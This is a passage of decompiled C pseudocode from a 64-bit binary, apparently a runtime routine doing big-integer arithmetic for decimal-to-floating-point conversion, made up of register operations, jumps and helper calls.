				signed long long _t1606;
				signed long long _t1612;
				signed long long _t1613;
				intOrPtr _t1616;
				signed long long _t1624;
				signed long long _t1631;
				signed long long _t1641;
				signed long long _t1645;
				signed long long _t1647;
				signed long long _t1653;
				signed long long _t1664;
				void* _t1669;
				signed long long _t1671;
				void* _t1682;
				signed long long _t1690;
				signed long long _t1693;
				void* _t1706;
				signed long long _t1717;
				signed long long _t1720;
				signed long long _t1721;
				void* _t1732;
				signed long long _t1735;
				signed long long _t1739;
				void* _t1741;
				void* _t1746;
				intOrPtr* _t1747;
				signed long long _t1753;
				signed long long _t1757;
				unsigned long long _t1760;
				signed long long _t1761;
				signed long long _t1768;
				unsigned long long _t1771;
				signed long long _t1773;
				signed long long _t1775;
				unsigned long long _t1777;
				void* _t1781;
				signed long long _t1783;
				signed long long _t1784;
				signed long long _t1785;
				signed long long _t1787;
				signed long long _t1788;
				signed long long _t1789;
				signed long long _t1790;
				signed long long _t1791;
				void* _t1794;
				void* _t1795;
				void* _t1797;
				signed long long _t1798;
				long long _t1801;
				signed long long _t1810;
				signed long long _t1813;
				signed long long _t1814;
				signed long long _t1822;
				signed long long _t1825;
				signed long long _t1826;
				void* _t1842;
				void* _t1860;
				void* _t1866;
				void* _t1867;
				signed int* _t1875;
				signed long long _t1886;
				signed long long _t1891;
				void* _t1892;
				void* _t1902;
				void* _t1905;
				void* _t1907;
				void* _t1909;
				void* _t1912;

				_t1891 = __r11;
				_t1355 = __ebp;
				 *((long long*)(_t1797 + 0x18)) = __rbx;
				_t1795 = _t1797 - 0xa80;
				_t1798 = _t1797 - 0xb80;
				_t1594 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t1795 + 0xa70) = _t1594 ^ _t1798;
				r10d =  *__rcx;
				_t1869 = __rcx;
				 *((long long*)(_t1798 + 0x60)) = __rdx;
				asm("sbb eax, eax");
				 *((long long*)(_t1798 + 0x58)) = __rcx;
				r11d = 0;
				 *(_t1798 + 0x50) = ( ~( *(__rdx + 8)) & 0x0000001d) + 0x19;
				 *(_t1795 + 0x330) = r11d;
				r10d =  <  ? r11d : r10d;
				r14d = r11d;
				_t12 = _t1891 + 0x26; // 0x26
				r15d = r11d;
				_t874 =  >=  ? __rcx[1] : r10d;
				r13d = r11d;
				r10d = r10d - _t874;
				_t1801 =  &(__rcx[2]) + __rcx;
				 *(_t1798 + 0x34) = r10d;
				 *((long long*)(_t1798 + 0x70)) = _t1801;
				_t1597 =  &(__rcx[2]) + __rdx;
				_t1875 =  &(__rcx[2]);
				 *(_t1798 + 0x68) = _t1597;
				_t875 = _t874 - r8d;
				 *(_t1798 + 0x40) = _t875;
				 *(_t1795 - 0x80) = _t875;
				if (_t1875 == _t1801) goto 0x8002a789;
				if (r13d != 9) goto 0x8002a24d;
				if (r14d == 0) goto 0x8002a1dc;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				_t1631 = _t1597 * 0x3b9aca00 + _t1597;
				 *((intOrPtr*)(_t1795 + 0x334 + __rdx * 4)) = _t874;
				if (r9d != r14d) goto 0x8002a168;
				if (r8d == 0) goto 0x8002a1d0;
				if ( *(_t1795 + 0x330) - 0x73 >= 0) goto 0x8002a1c4;
				 *(_t1795 + 0x334 + _t1597 * 4) = r8d;
				r14d =  *(_t1795 + 0x330);
				r14d = r14d + 1;
				 *(_t1795 + 0x330) = r14d;
				goto 0x8002a1d7;
				r14d = r11d;
				 *(_t1795 + 0x330) = r11d;
				goto 0x8002a1d7;
				r14d =  *(_t1795 + 0x330);
				if (r15d == 0) goto 0x8002a247;
				if (r14d == 0) goto 0x8002a219;
				 *(_t1795 + 0x334 + _t1631 * 4) = r15d;
				r14d =  *(_t1795 + 0x330);
				if (r11d + 1 != r14d) goto 0x8002a1e9;
				if (r15d == 0) goto 0x8002a247;
				if (r14d - 0x73 >= 0) goto 0x8002a23d;
				 *(_t1795 + 0x334 + _t1597 * 4) = r15d;
				r14d =  *(_t1795 + 0x330);
				r14d = r14d + 1;
				 *(_t1795 + 0x330) = r14d;
				goto 0x8002a247;
				r14d = r11d;
				 *(_t1795 + 0x330) = r11d;
				r15d = r11d;
				r13d = r11d;
				r13d = r13d + 1;
				r15d = _t1597 + _t1631 * 2;
				if ( &(_t1875[0]) !=  *((intOrPtr*)(_t1798 + 0x70))) goto 0x8002a153;
				if (r13d == 0) goto 0x8002a789;
				_t886 = 0xcccccccd * r13d >> 0x20 >> 3;
				 *(_t1798 + 0x38) = _t886;
				 *(_t1798 + 0x3c) = _t886;
				if (_t886 == 0) goto 0x8002a663;
				_t888 =  >  ? _t12 : _t886;
				 *(_t1798 + 0x30) =  >  ? _t12 : _t886;
				_t1612 = _t1631 * 4;
				 *(_t1795 + 0x6d0) = _t1787 + _t1631;
				E000000011800164C0(_t1787 + _t1631, 0, _t1795 + 0x6d4, __rdx, _t1612);
				_t1788 = _t1787 << 2;
				E00000001180015E10();
				r10d =  *(_t1795 + 0x6d0);
				if (r10d - 1 > 0) goto 0x8002a370;
				_t893 =  *((intOrPtr*)(_t1795 + 0x6d4));
				r11d = 0;
				if (_t893 != 0) goto 0x8002a326;
				r14d = r11d;
				 *(_t1795 + 0x330) = r11d;
				goto 0x8002a468;
				if (_t893 == 1) goto 0x8002a468;
				if (r14d == 0) goto 0x8002a468;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0x8002a341;
				goto 0x8002a423;
				if (r14d - 1 > 0) goto 0x8002a477;
				_t1118 =  *((intOrPtr*)(_t1795 + 0x334));
				_t1810 = _t1597 << 2;
				r11d = 0;
				 *(_t1795 + 0x330) = r10d;
				r14d = r10d;
				if (_t1810 == 0) goto 0x8002a3de;
				if (_t1810 - 0x1cc > 0) goto 0x8002a3b7;
				_t1732 = _t1795 + 0x6d4;
				E00000001180015E10();
				goto 0x8002a3d4;
				r8d = 0x1cc;
				E000000011800164C0(r8d, 0, _t1795 + 0x334, _t1732, _t1810);
				E0000000118005B354(_t1810 - 0x1cc, _t1597);
				 *_t1597 = 0x22;
				E0000000118002594C();
				r14d =  *(_t1795 + 0x330);
				r11d = 0;
				if (_t1118 == 0) goto 0x8002a317;
				if (_t1118 == 1) goto 0x8002a468;
				if (r14d == 0) goto 0x8002a468;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0x8002a3f9;
				if (r8d == 0) goto 0x8002a461;
				if ( *(_t1795 + 0x330) - 0x73 >= 0) goto 0x8002a452;
				 *(_t1795 + 0x334 + _t1597 * 4) = r8d;
				r14d =  *(_t1795 + 0x330);
				r14d = r14d + 1;
				 *(_t1795 + 0x330) = r14d;
				goto 0x8002a468;
				 *(_t1795 + 0x330) = r11d;
				r14d = r11d;
				goto 0x8002a46a;
				r14d =  *(_t1795 + 0x330);
				if (1 == 0) goto 0x8002a705;
				goto 0x8002a648;
				r12d = r14d;
				_t1641 =  >=  ? _t1795 + 0x334 : _t1795 + 0x6d4;
				_t1813 = _t1795 + 0x6d4;
				r12d =  <  ? r10d : r12d;
				 *(_t1798 + 0x78) = _t1641;
				_t1735 =  >=  ? _t1813 : _t1795 + 0x334;
				r11d = 0;
				 *(_t1798 + 0x48) = _t1735;
				 *(_t1795 + 0x500) = r11d;
				r9d = r11d;
				r10d =  !=  ? r14d : r10d;
				r14d = r11d;
				if (r12d == 0) goto 0x8002a5e9;
				if ( *((intOrPtr*)(_t1641 + _t1597 * 4)) != 0) goto 0x8002a4fc;
				if (r9d != r14d) goto 0x8002a5dd;
				_t116 = _t1869 + 1; // 0x1
				r14d = _t116;
				 *(_t1795 + 0x504 + _t1597 * 4) = r11d;
				 *(_t1795 + 0x500) = r14d;
				goto 0x8002a5dd;
				r8d = r9d;
				if (r10d == 0) goto 0x8002a5c9;
				r11d = r9d;
				r11d =  ~r11d;
				if (r8d == 0x73) goto 0x8002a577;
				if (r8d != r14d) goto 0x8002a534;
				 *(_t1795 + 0x504 + _t1612 * 4) =  *(_t1795 + 0x504 + _t1612 * 4) & 0x00000000;
				_t127 = _t1813 + 1; // 0x1
				 *(_t1795 + 0x500) = _t127;
				r8d = r8d + 1;
				 *(_t1795 + 0x504 + _t1612 * 4) =  *(_t1735 + _t1597 * 4);
				r14d =  *(_t1795 + 0x500);
				_t1783 = _t1735 * _t1788 + _t1597 + _t1597 >> 0x20;
				if (_t1891 + _t1813 == r10d) goto 0x8002a577;
				_t1739 =  *(_t1798 + 0x48);
				goto 0x8002a511;
				r11d = 0;
				if (r11d == 0) goto 0x8002a5c9;
				if (r8d == 0x73) goto 0x8002a6fe;
				_t140 = _t1813 + 1; // 0x1
				_t910 = _t140;
				r8d = _t910;
				if (r8d != r14d) goto 0x8002a5a5;
				 *(_t1795 + 0x504 + _t1739 * 4) = r11d;
				 *(_t1795 + 0x500) = _t910;
				_t1154 =  *(_t1795 + 0x504 + _t1739 * 4);
				 *(_t1795 + 0x504 + _t1739 * 4) = _t1154;
				r14d =  *(_t1795 + 0x500);
				if (_t1154 != 0) goto 0x8002a57e;
				if (r8d == 0x73) goto 0x8002a6fe;
				r9d = r9d + 1;
				if (r9d != r12d) goto 0x8002a4d1;
				r8d = r14d;
				_t1814 = _t1813 << 2;
				 *(_t1795 + 0x330) = r14d;
				if (_t1814 == 0) goto 0x8002a641;
				_t1645 = _t1795 + 0x334;
				_t1404 = _t1814 - 0x1cc;
				if (_t1404 > 0) goto 0x8002a61a;
				_t1741 = _t1795 + 0x504;
				E00000001180015E10();
				goto 0x8002a637;
				r8d = 0x1cc;
				E000000011800164C0(r11d, 0, _t1645, _t1741, _t1814);
				E0000000118005B354(_t1404, _t1597);
				 *_t1597 = 0x22;
				E0000000118002594C();
				r14d =  *(_t1795 + 0x330);
				r11d = 0;
				 *(_t1798 + 0x3c) =  *(_t1798 + 0x3c) -  *(_t1798 + 0x30);
				if (_t1404 != 0) goto 0x8002a290;
				r13d = r13d - _t1597 + _t1597 * 4 + _t1597 + _t1597 * 4;
				if (_t1404 == 0) goto 0x8002a70f;
				_t919 =  *(0x180000000 + 0xc41c8 + _t1597 * 4);
				if (_t919 == 0) goto 0x8002a705;
				if (_t919 == 1) goto 0x8002a70f;
				if (r14d == 0) goto 0x8002a70f;
				r8d = r11d;
				r9d = r11d;
				r10d = _t919;
				r9d = r9d + 1;
				_t1647 = _t1645 * _t1612 + _t1597;
				if (r9d != r14d) goto 0x8002a69c;
				if (r8d == 0) goto 0x8002a6f5;
				if ( *(_t1795 + 0x330) - 0x73 >= 0) goto 0x8002a705;
				 *(_t1795 + 0x334 + _t1597 * 4) = r8d;
				r14d =  *(_t1795 + 0x330);
				r14d = r14d + 1;
				 *(_t1795 + 0x330) = r14d;
				goto 0x8002a70f;
				r14d =  *(_t1795 + 0x330);
				goto 0x8002a70f;
				r14d = r11d;
				 *(_t1795 + 0x330) = r11d;
				if (r15d == 0) goto 0x8002a784;
				r8d = r11d;
				if (r14d == 0) goto 0x8002a74f;
				r8d = r8d + 1;
				_t1247 =  *(_t1795 + 0x334 + _t1647 * 4);
				 *(_t1795 + 0x334 + _t1647 * 4) = _t1247;
				r14d =  *(_t1795 + 0x330);
				r15d = _t1247;
				if (r8d != r14d) goto 0x8002a71c;
				if (_t1247 == 0) goto 0x8002a784;
				if (r14d - 0x73 >= 0) goto 0x8002a778;
				 *(_t1795 + 0x334 + _t1597 * 4) = r15d;
				r14d =  *(_t1795 + 0x330);
				r14d = r14d + 1;
				 *(_t1795 + 0x330) = r14d;
				goto 0x8002a789;
				r14d = r11d;
				 *(_t1795 + 0x330) = r11d;
				goto 0x8002a789;
				r8d =  *(_t1798 + 0x34);
				if (r8d == 0) goto 0x8002aca3;
				_t928 = 0xcccccccd * r8d >> 0x20 >> 3;
				 *(_t1798 + 0x30) = _t928;
				 *(_t1798 + 0x3c) = _t928;
				if (_t928 == 0) goto 0x8002abcb;
				_t930 =  >  ? 0x26 : _t928;
				 *(_t1798 + 0x38) =  >  ? 0x26 : _t928;
				_t1613 = _t1647 * 4;
				 *(_t1795 + 0x6d0) = _t1788 + _t1647;
				E000000011800164C0(_t1788 + _t1647, 0, _t1795 + 0x6d4, _t1741 + _t1597 >> 0x20, _t1613);
				_t1789 = _t1788 << 2;
				E00000001180015E10();
				r10d =  *(_t1795 + 0x6d0);
				if (r10d - 1 > 0) goto 0x8002a896;
				_t935 =  *((intOrPtr*)(_t1795 + 0x6d4));
				r11d = 0;
				if (_t935 != 0) goto 0x8002a84c;
				r14d = r11d;
				 *(_t1795 + 0x330) = r11d;
				goto 0x8002a98e;
				if (_t935 == 1) goto 0x8002a98e;
				if (r14d == 0) goto 0x8002a98e;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0x8002a867;
				goto 0x8002a949;
				if (r14d - 1 > 0) goto 0x8002a9f2;
				_t1123 =  *((intOrPtr*)(_t1795 + 0x334));
				_t1822 = _t1597 << 2;
				r11d = 0;
				 *(_t1795 + 0x330) = r10d;
				r14d = r10d;
				if (_t1822 == 0) goto 0x8002a904;
				_t1653 = _t1795 + 0x334;
				if (_t1822 - 0x1cc > 0) goto 0x8002a8dd;
				_t1746 = _t1795 + 0x6d4;
				E00000001180015E10();
				goto 0x8002a8fa;
				r8d = 0x1cc;
				E000000011800164C0(r8d, 0, _t1653, _t1746, _t1822);
				E0000000118005B354(_t1822 - 0x1cc, _t1597);
				 *_t1597 = 0x22;
				E0000000118002594C();
				r14d =  *(_t1795 + 0x330);
				r11d = 0;
				if (_t1123 == 0) goto 0x8002a83d;
				if (_t1123 == 1) goto 0x8002a98e;
				if (r14d == 0) goto 0x8002a98e;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0x8002a91f;
				if (r8d == 0) goto 0x8002a987;
				if ( *(_t1795 + 0x330) - 0x73 >= 0) goto 0x8002a978;
				 *(_t1795 + 0x334 + _t1597 * 4) = r8d;
				r14d =  *(_t1795 + 0x330);
				r14d = r14d + 1;
				 *(_t1795 + 0x330) = r14d;
				goto 0x8002a98e;
				 *(_t1795 + 0x330) = r11d;
				r14d = r11d;
				goto 0x8002a990;
				r14d =  *(_t1795 + 0x330);
				if (1 != 0) goto 0x8002abab;
				_t1747 =  *((intOrPtr*)(_t1798 + 0x60));
				_t1825 =  *_t1747;
				if ( *((intOrPtr*)(_t1747 + 8)) == r11b) goto 0x8002ac70;
				asm("dec eax");
				_t1601 =  *_t1825 & 0x00000000;
				 *_t1825 = (_t1653 * _t1613 + _t1597 & 0x00000000) + 0x00000000 & 0x00000000 | _t1601;
				goto 0x8002ac92;
				r15d = r14d;
				_t1897 =  >=  ? _t1795 + 0x334 : _t1795 + 0x6d4;
				r15d =  <  ? r10d : r15d;
				_t1904 =  >=  ? _t1795 + 0x6d4 : _t1795 + 0x334;
				r11d = 0;
				 *(_t1795 + 0x500) = r11d;
				r9d = r11d;
				r10d =  !=  ? r14d : r10d;
				r14d = r11d;
				if (r15d == 0) goto 0x8002ab4c;
				if ( *((intOrPtr*)(( >=  ? _t1795 + 0x334 : _t1795 + 0x6d4) + _t1601 * 4)) != 0) goto 0x8002aa6e;
				if (r9d != r14d) goto 0x8002ab40;
				_t264 = _t1869 + 1; // 0x1
				r14d = _t264;
				 *(_t1795 + 0x504 + _t1601 * 4) = r11d;
				 *(_t1795 + 0x500) = r14d;
				goto 0x8002ab40;
				_t1124 = r11d;
				r8d = r9d;
				if (r10d == 0) goto 0x8002ab36;
				r11d = r9d;
				r11d =  ~r11d;
				if (r8d == 0x73) goto 0x8002aae4;
				if (r8d != r14d) goto 0x8002aaa6;
				 *(_t1795 + 0x504 + _t1783 * 4) =  *(_t1795 + 0x504 + _t1783 * 4) & 0x00000000;
				_t275 = _t1825 + 1; // 0x1
				 *(_t1795 + 0x500) = _t275;
				r8d = r8d + 1;
				 *(_t1795 + 0x504 + _t1783 * 4) =  *(( >=  ? _t1795 + 0x6d4 : _t1795 + 0x334) + _t1601 * 4);
				r14d =  *(_t1795 + 0x500);
				if (_t1891 + _t1825 != r10d) goto 0x8002aa83;
				r11d = 0;
				if (_t1124 == 0) goto 0x8002ab36;
				if (r8d == 0x73) goto 0x8002a998;
				_t287 = _t1825 + 1; // 0x2
				_t954 = _t287;
				r8d = _t954;
				if (r8d != r14d) goto 0x8002ab12;
				 *(_t1795 + 0xffc0000000000504) = r11d;
				 *(_t1795 + 0x500) = _t954;
				_t1164 = _t1124;
				 *(_t1795 + 0x504 + (0 * _t1789 + _t1601 + _t1601) * 4) = _t1164;
				r14d =  *(_t1795 + 0x500);
				if (_t1164 != 0) goto 0x8002aaeb;
				if (r8d == 0x73) goto 0x8002a998;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0x8002aa42;
				r8d = r14d;
				_t1826 = _t1825 << 2;
				 *(_t1795 + 0x330) = r14d;
				if (_t1826 == 0) goto 0x8002aba4;
				_t1664 = _t1795 + 0x334;
				_t1451 = _t1826 - 0x1cc;
				if (_t1451 > 0) goto 0x8002ab7d;
				_t1753 = _t1795 + 0x504;
				E00000001180015E10();
				goto 0x8002ab9a;
				r8d = 0x1cc;
				E000000011800164C0( *(_t1795 + 0xffc0000000000504), 0, _t1664, _t1753, _t1826);
				E0000000118005B354(_t1451, _t1601);
				 *_t1601 = 0x22;
				E0000000118002594C();
				r14d =  *(_t1795 + 0x330);
				r11d = 0;
				 *(_t1798 + 0x3c) =  *(_t1798 + 0x3c) -  *(_t1798 + 0x38);
				if (_t1451 != 0) goto 0x8002a7b6;
				r8d =  *(_t1798 + 0x34);
				r8d = r8d - _t1601 + _t1601 * 4 + _t1601 + _t1601 * 4;
				if (_t1451 == 0) goto 0x8002aca3;
				_t963 =  *((intOrPtr*)(0x180000000 + 0xc41c8 + _t1601 * 4));
				if (_t963 != 0) goto 0x8002abf8;
				r14d = r11d;
				 *(_t1795 + 0x330) = r11d;
				goto 0x8002aca3;
				if (_t963 == 1) goto 0x8002aca3;
				if (r14d == 0) goto 0x8002aca8;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				_t1167 =  *(_t1795 + 0x334 + _t1753 * 4);
				 *(_t1795 + 0x334 + _t1753 * 4) = _t1167;
				if (r9d != r14d) goto 0x8002ac13;
				if (r8d == 0) goto 0x8002ac9c;
				if ( *(_t1795 + 0x330) - 0x73 >= 0) goto 0x8002a998;
				 *(_t1795 + 0x334 + _t1601 * 4) = r8d;
				r14d =  *(_t1795 + 0x330);
				r14d = r14d + 1;
				 *(_t1795 + 0x330) = r14d;
				goto 0x8002aca3;
				asm("sbb ecx, ecx");
				 *(_t1664 * _t1601 + _t1601 >> 0x20) = ((_t1167 & 0x80000000) + 0x7f800000 |  *(_t1664 * _t1601 + _t1601 >> 0x20) & 0x7f800000) & 0xff800000;
				goto 0x8002beec;
				r14d =  *(_t1795 + 0x330);
				_t1458 = r14d;
				if (_t1458 != 0) goto 0x8002acad;
				goto 0x8002accc;
				_t330 = _t1907 - 1; // -1
				 *(_t1798 + 0x48) = r11d;
				asm("bsr eax, [ebp+ecx*4+0x334]");
				if (_t1458 == 0) goto 0x8002acc4;
				goto 0x8002acc7;
				_t1175 = (_t330 << 5) + r11d;
				 *(_t1798 + 0x3c) = _t1175;
				if (_t1175 -  *(_t1798 + 0x50) >= 0) goto 0x8002bec2;
				if ( *(_t1798 + 0x40) == 0) goto 0x8002bec4;
				_t1616 =  *((intOrPtr*)(_t1798 + 0x70));
				r15d = r11d;
				_t1784 =  *(_t1798 + 0x68);
				r12d = r11d;
				 *(_t1795 + 0x160) = r11d;
				r13d = r11d;
				if (_t1616 == _t1784) goto 0x8002b46e;
				if (r13d != 9) goto 0x8002ae53;
				if (r15d == 0) goto 0x8002adb1;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				 *(_t1795 + 0x164 + _t1753 * 4) = _t1175;
				if (r9d != r15d) goto 0x8002ad22;
				if (r8d == 0) goto 0x8002adaa;
				if ( *(_t1795 + 0x160) - 0x73 >= 0) goto 0x8002ad7e;
				 *(_t1795 + 0x164 + _t1601 * 4) = r8d;
				r15d =  *(_t1795 + 0x160);
				r15d = r15d + 1;
				 *(_t1795 + 0x160) = r15d;
				goto 0x8002adb1;
				r9d = 0;
				 *(_t1795 + 0x8a0) = r11d;
				 *(_t1795 + 0x160) = r11d;
				_t1669 = _t1795 + 0x164;
				E0000000118002D894(_t1601, _t1616, _t1669, _t1753, _t1789, _t1795 + 0x8a4, __rcx, _t1909);
				r11d = 0;
				r15d =  *(_t1795 + 0x160);
				if (r12d == 0) goto 0x8002ae4d;
				r8d = r11d;
				if (r15d == 0) goto 0x8002adf6;
				r8d = r8d + 1;
				r15d =  *(_t1795 + 0x160);
				if (r8d != r15d) goto 0x8002adc2;
				if (r12d == 0) goto 0x8002ae4d;
				if (r15d - 0x73 >= 0) goto 0x8002ae1a;
				 *(_t1795 + 0x164 + _t1601 * 4) = r12d;
				r15d =  *(_t1795 + 0x160);
				r15d = r15d + 1;
				 *(_t1795 + 0x160) = r15d;
				goto 0x8002ae4d;
				r9d = 0;
				 *(_t1795 + 0x8a0) = r11d;
				 *(_t1795 + 0x160) = r11d;
				_t1671 = _t1795 + 0x164;
				E0000000118002D894(_t1601, _t1616, _t1671, _t1753, _t1789, _t1795 + 0x8a4, __rcx, _t1907);
				r15d =  *(_t1795 + 0x160);
				r11d = 0;
				r12d = r11d;
				r13d = r11d;
				r13d = r13d + 1;
				r12d = _t1601 + _t1671 * 2;
				if (_t1616 + 1 != _t1784) goto 0x8002ad09;
				if (r13d == 0) goto 0x8002b46e;
				_t985 = 0xcccccccd * r13d >> 0x20 >> 3;
				 *(_t1798 + 0x48) = _t985;
				_t1178 = _t985;
				 *(_t1798 + 0x34) = _t985;
				if (_t985 == 0) goto 0x8002b275;
				_t987 =  >  ? 0x26 : _t1178;
				 *(_t1798 + 0x38) =  >  ? 0x26 : _t1178;
				 *(_t1795 + 0x6d0) = _t1789 + _t1671;
				E000000011800164C0(_t1789 + _t1671, 0, _t1795 + 0x6d4, _t1753, _t1671 * 4);
				_t1790 = _t1789 << 2;
				E00000001180015E10();
				r10d =  *(_t1795 + 0x6d0);
				if (r10d - 1 > 0) goto 0x8002aff9;
				_t991 =  *((intOrPtr*)(_t1795 + 0x6d4));
				if (_t991 != 0) goto 0x8002af49;
				 *(_t1795 + 0x8a0) = 0;
				 *(_t1795 + 0x160) = 0;
				r9d = 0;
				goto 0x8002b23a;
				if (_t991 == 1) goto 0x8002b252;
				if (r15d == 0) goto 0x8002b252;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0x8002af64;
				if (r8d == 0) goto 0x8002b24b;
				if ( *(_t1795 + 0x160) - 0x73 >= 0) goto 0x8002afc4;
				 *(_t1795 + 0x600000164) = r8d;
				r15d =  *(_t1795 + 0x160);
				r15d = r15d + 1;
				 *(_t1795 + 0x160) = r15d;
				goto 0x8002b252;
				r9d = 0;
				 *(_t1795 + 0x8a0) = 0;
				 *(_t1795 + 0x160) = 0;
				E0000000118002D894(0x180000000, _t1671 * 4, _t1795 + 0x164, 0x7800c3820, _t1790, _t1795 + 0x8a4, __rcx, _t1902);
				r15d =  *(_t1795 + 0x160);
				goto 0x8002b254;
				if (r15d - 1 > 0) goto 0x8002b0d7;
				_t1128 =  *((intOrPtr*)(_t1795 + 0x164));
				 *(_t1795 + 0x160) = r10d;
				E0000000118002D894(0x180000000, _t1671 * 4, _t1795 + 0x164, 0x7800c3820, _t1790, _t1795 + 0x6d4, 0x180000000 << 2, _t1892);
				if (_t1128 != 0) goto 0x8002b046;
				 *(_t1795 + 0x8a0) = 0;
				 *(_t1795 + 0x160) = 0;
				goto 0x8002af3a;
				r15d =  *(_t1795 + 0x160);
				if (_t1128 == 1) goto 0x8002b252;
				if (r15d == 0) goto 0x8002b252;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0x8002b068;
				if (r8d == 0) goto 0x8002b24b;
				if ( *(_t1795 + 0x160) - 0x73 < 0) goto 0x8002afa0;
				r9d = 0;
				 *(_t1795 + 0x8a0) = 0;
				_t1842 = _t1795 + 0x8a4;
				 *(_t1795 + 0x160) = 0;
				_t1682 = _t1795 + 0x164;
				E0000000118002D894(0x180000000, _t1671 * 4, _t1682, 0x7800c3820, _t1790, _t1842, 0x180000000 << 2, _t1781);
				goto 0x8002afed;
				r11d = r15d;
				_t1757 =  >=  ? _t1682 : _t1795 + 0x6d4;
				r11d =  <  ? r10d : r11d;
				 *(_t1798 + 0x78) = _t1757;
				 *(_t1798 + 0x30) = r11d;
				_t1684 =  >=  ? _t1842 : _t1795 + 0x164;
				r10d =  !=  ? r15d : r10d;
				r9d = 0;
				 *(_t1795 + 0x500) = 0;
				if (r11d == 0) goto 0x8002b226;
				_t1912 =  >=  ? _t1842 : _t1795 + 0x164;
				_t1343 =  *(_t1757 + 0x2eb6eb4);
				if (_t1343 != 0) goto 0x8002b149;
				if (r9d != 0) goto 0x8002b21a;
				 *(_t1795 + 0x2eb73b8) =  *(_t1795 + 0x2eb73b8) & _t1343;
				 *(_t1795 + 0x500) = 0xbadbae;
				goto 0x8002b21a;
				r8d = r9d;
				if (r10d == 0) goto 0x8002b20b;
				r11d = r9d;
				r11d =  ~r11d;
				if (r8d == 0x73) goto 0x8002b1bc;
				if (r8d != 0xbadbae) goto 0x8002b180;
				 *(_t1795 + 0x504 + _t1784 * 4) =  *(_t1795 + 0x504 + _t1784 * 4) & 0x00000000;
				_t468 = _t1842 + 1; // 0x1
				 *(_t1795 + 0x500) = _t468;
				r8d = r8d + 1;
				_t1760 = _t1757 * _t1790 + 0x300000000;
				 *(_t1795 + 0x504 + _t1784 * 4) =  *(_t1912 + 0x600000000);
				if (_t1891 + _t1842 != r10d) goto 0x8002b15d;
				if (0 == 0) goto 0x8002b206;
				if (r8d == 0x73) goto 0x8002b206;
				_t480 = _t1842 + 1; // 0x2
				_t1183 = _t480;
				r8d = _t1183;
				if (r8d !=  *(_t1795 + 0x500)) goto 0x8002b1e3;
				 *(_t1795 + 0x504 + _t1760 * 4) =  *(_t1795 + 0x504 + _t1760 * 4) & 0x00000000;
				 *(_t1795 + 0x500) = _t1183;
				_t1184 =  *(_t1795 + 0x504 + _t1760 * 4);
				 *(_t1795 + 0x504 + _t1760 * 4) = _t1184;
				_t1011 =  *(_t1795 + 0x500);
				if (_t1184 != 0) goto 0x8002b1c0;
				r11d =  *(_t1798 + 0x30);
				if (r8d == 0x73) goto 0x8002b2d2;
				_t1761 =  *(_t1798 + 0x78);
				r9d = r9d + 1;
				if (r9d != r11d) goto 0x8002b121;
				r9d = _t1011;
				 *(_t1795 + 0x160) = _t1011;
				E0000000118002D894(0x180000000, _t1760 >> 0x20, _t1795 + 0x164, _t1761, _t1790, _t1795 + 0x504, 0x180000000 << 2 << 2, _t1787);
				r15d =  *(_t1795 + 0x160);
				r11d = 0;
				if (1 == 0) goto 0x8002b30d;
				 *(_t1798 + 0x34) =  *(_t1798 + 0x34) -  *(_t1798 + 0x38);
				if (1 != 0) goto 0x8002ae95;
				r13d = r13d - 0xf00000000;
				if (1 == 0) goto 0x8002b340;
				if ( *0x7800C41C8 != 0) goto 0x8002b3ba;
				r9d = 0;
				 *(_t1795 + 0x8a0) = r11d;
				 *(_t1795 + 0x160) = r11d;
				E0000000118002D894(0x180000000, 0x180000000, _t1795 + 0x164, _t1761, _t1790, _t1795 + 0x8a4, 0x180000000 << 2 << 2, _t1794);
				r15d =  *(_t1795 + 0x160);
				r11d = 0;
				goto 0x8002b347;
				 *(_t1795 + 0x8a0) =  *(_t1795 + 0x8a0) & 0x00000000;
				 *(_t1795 + 0x160) =  *(_t1795 + 0x160) & 0x00000000;
				r9d = 0;
				E0000000118002D894(0x180000000, 0x180000000, _t1795 + 0x164, _t1761, _t1790, _t1795 + 0x8a4, 0x180000000 << 2 << 2);
				r15d =  *(_t1795 + 0x160);
				r11d = 0;
				goto 0x8002b257;
				r9d = 0;
				 *(_t1795 + 0x8a0) = r11d;
				 *(_t1795 + 0x160) = r11d;
				_t1690 = _t1795 + 0x164;
				E0000000118002D894(0x180000000, 0x180000000, _t1690, _t1761, _t1790, _t1795 + 0x8a4, 0x180000000 << 2 << 2);
				r15d =  *(_t1795 + 0x160);
				r11d = 0;
				if (r12d == 0) goto 0x8002b475;
				r8d = r11d;
				if (r15d == 0) goto 0x8002b38f;
				r8d = r8d + 1;
				_t1277 =  *(_t1795 + 0x164 + _t1690 * 4);
				 *(_t1795 + 0x164 + _t1690 * 4) = _t1277;
				r15d =  *(_t1795 + 0x160);
				r12d = _t1277;
				if (r8d != r15d) goto 0x8002b358;
				if (_t1277 == 0) goto 0x8002b475;
				if (r15d - 0x73 >= 0) goto 0x8002b439;
				 *(_t1795 + 0x600000164) = r12d;
				r15d =  *(_t1795 + 0x160);
				r15d = r15d + 1;
				 *(_t1795 + 0x160) = r15d;
				goto 0x8002b475;
				if (r15d == 1) goto 0x8002b347;
				if (r15d == 0) goto 0x8002b347;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0x8002b3cd;
				if (r8d == 0) goto 0x8002b42d;
				if ( *(_t1795 + 0x160) - 0x73 >= 0) goto 0x8002b29d;
				 *(_t1795 + 0x600000164) = r8d;
				r15d =  *(_t1795 + 0x160);
				r15d = r15d + 1;
				 *(_t1795 + 0x160) = r15d;
				goto 0x8002b347;
				r15d =  *(_t1795 + 0x160);
				goto 0x8002b347;
				r9d = 0;
				 *(_t1795 + 0x8a0) = r11d;
				 *(_t1795 + 0x160) = r11d;
				_t1693 = _t1795 + 0x164;
